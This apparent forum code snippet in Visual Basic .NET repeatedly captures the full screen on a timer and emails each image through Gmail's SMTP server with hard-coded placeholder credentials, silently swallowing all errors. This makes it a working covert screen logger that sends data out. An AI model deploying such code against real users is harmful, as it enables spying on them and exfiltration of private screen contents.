Снимок экрана - Отправка скриншота на почту - Visual Basic .NET

Imports System.Net.Mail
 
 
Public Class Vault
 
            Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
            Dim screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
            Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(screenGrab)
            Dim SmtpServer As New SmtpClient
            Dim mail As New MailMessage
            Dim attachment As System.Net.Mail.Attachment
 
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Start()
    End Sub
 
#Region "screenshot"
 
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Try
 
            g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)
            screenGrab.Save("C:\xxx.jpeg")
 
 
 
 
            SmtpServer.EnableSsl = True
            SmtpServer.Credentials = New Net.NetworkCredential("xxxxxxx@gmail.com", "xxxxxxx")
            SmtpServer.Port = 587
            SmtpServer.Host = "smtp.gmail.com"
            mail = New MailMessage
            mail.From = New MailAddress("xxxxxxx@gmail.com")
            mail.To.Add("xxxxxxx@gmail.com")
            mail.Subject = ("SCREEN, " + System.DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"))
            mail.Body = "Pics"
            attachment = New System.Net.Mail.Attachment("C:\xxx.jpeg")
            mail.Attachments.Add(attachment)
            SmtpServer.Send(mail)
 
        Catch ex As Exception
        End Try
 
    End Sub
#End Region
 
End Class